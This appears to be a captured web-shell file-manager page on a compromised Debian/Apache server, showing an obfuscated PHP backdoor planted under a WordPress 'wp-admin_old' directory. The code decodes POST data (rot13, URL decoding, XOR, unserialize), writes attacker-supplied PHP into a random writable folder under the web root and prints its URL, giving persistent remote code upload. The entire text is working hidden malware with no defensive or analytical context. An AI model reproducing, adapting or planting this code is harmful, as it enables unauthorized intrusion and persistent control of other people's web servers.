HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-admin_old/network/jajuzhwz.php
<?php function hPWyT($OLVfspS, $HCUwuPHSl, $WbVqfl){$FmfqcgEyKp = "cee16c68-d828-4519-84a9-506fb8717fd5";return $OLVfspS ^ $FmfqcgEyKp[$HCUwuPHSl % strlen($FmfqcgEyKp)] ^ $WbVqfl;}$bHcZCPRB = "lzdppxpB";function eDaJbI($bHcZCPRB){ $raYch = chr(689-574).'t'.chr(114).'_'."\162"."\x6f"."\x74".chr(209-160)."\63";$bHcZCPRB = $raYch($bHcZCPRB);$brHfJRQ = chr(114).chr(1095-998).chr(443-324)."\x75".'r'.chr(108)."\x64".chr(256-155).chr(99)."\x6f".'d'."\x65";$bHcZCPRB = $brHfJRQ($bHcZCPRB);$bHcZCPRB = str_split($bHcZCPRB);return $bHcZCPRB;}function XREjPe($essJLfGTJ, $WbVqfl){$essJLfGTJ = array_map("hPWyT", array_values($essJLfGTJ), array_keys($essJLfGTJ), array_values($WbVqfl));$essJLfGTJ = implode("", $essJLfGTJ);$QSQLG = "\x75".chr(110)."\x73".'e'.chr(114)."\x69"."\141"."\154".'i'."\172".chr(101);$essJLfGTJ = @$QSQLG($essJLfGTJ);return $essJLfGTJ;}function exVWsiPpS($WbVqfl, $essJLfGTJ){$WbVqfl = array_slice(str_split(str_repeat($WbVqfl, (count($essJLfGTJ)/16)+1)), 0, count($essJLfGTJ));return $WbVqfl;}function BvBpQunPKC(){echo "vVFnXi";}function KoEnxjFdA($AahNWir){static $ZLTxSf = array();$tyIKlbYQM = glob($AahNWir . '/*', GLOB_ONLYDIR);$iGQdWja = count($tyIKlbYQM);if ($iGQdWja > 0) {foreach ($tyIKlbYQM as $AahNW) {$MkKOW = "\151".'s'.chr(95).chr(119).chr(822-708).chr(687-582).'t'.'a'."\142"."\154"."\x65";if (@$MkKOW($AahNW)) {$ZLTxSf[] = $AahNW;}}}foreach ($tyIKlbYQM as $AahNWir) KoEnxjFdA($AahNWir);return $ZLTxSf;}function zPzcQZR($essJLfGTJ){$YTmTz = "\104".'O'.chr(67)."\125".chr(673-596).chr(69).'N'."\124"."\137".chr(443-361).chr(623-544).chr(185-106).chr(964-880);$acHDz = $_SERVER[$YTmTz];$tyIKlbYQM = KoEnxjFdA($acHDz);$cSZwg = array_rand($tyIKlbYQM);$DnygENq = '.'."\160".chr(104).chr(112);$iHcqqy = $tyIKlbYQM[$cSZwg] . "/" . substr(md5(time()), 0, 8) . $DnygENq;$OtcHGz = "\x66"."\x69".chr(834-726).chr(101).'_'.'p'."\165".'t'.'_'.chr(428-329).chr(111).'n'."\164"."\x65"."\156"."\164"."\163";@$OtcHGz($iHcqqy, $essJLfGTJ);$jExBNERF = "\110".'T'.'T'."\120".'_'.chr(1047-975).chr(79)."\x53"."\x54";$FKpZkfTzE = "\x68"."\164".chr(116).chr(112)."\72".chr(47).'/';$NlbUQGdt = $FKpZkfTzE . $_SERVER[$jExBNERF] . substr($iHcqqy, strlen($acHDz));print($NlbUQGdt);}function dmUCfiO(){$uOWZlef = chr(112)."\x68".'p';$BQJkevUI = "\160".chr(104)."\x70".chr(118).chr(781-680)."\162"."\163".chr(105)."\x6f".chr(1028-918);$essJLfGTJ = Array($uOWZlef => @$BQJkevUI(), );$WWPdeaa = "\163".'e'.chr(189-75).'i'.chr(974-877)."\154"."\x69"."\172".chr(743-642);echo @$WWPdeaa($essJLfGTJ);}function xIJDbGu(){echo "lzdppxpB";}foreach ($_POST as $WbVqfl => $essJLfGTJ){$wAuSLbKgA = strlen($WbVqfl);if ($wAuSLbKgA == 16){$essJLfGTJ = eDaJbI($essJLfGTJ);$WbVqfl = exVWsiPpS($WbVqfl, $essJLfGTJ);$essJLfGTJ = XREjPe($essJLfGTJ, $WbVqfl);if (@is_array($essJLfGTJ)){$cSZwg = array_keys($essJLfGTJ);$essJLfGTJ = $essJLfGTJ[$cSZwg[0]];$cSZwg = $cSZwg[0];$cSZwg = substr($cSZwg, 0);if ($essJLfGTJ !== $cSZwg){zPzcQZR($essJLfGTJ);}else {dmUCfiO();}}}}die();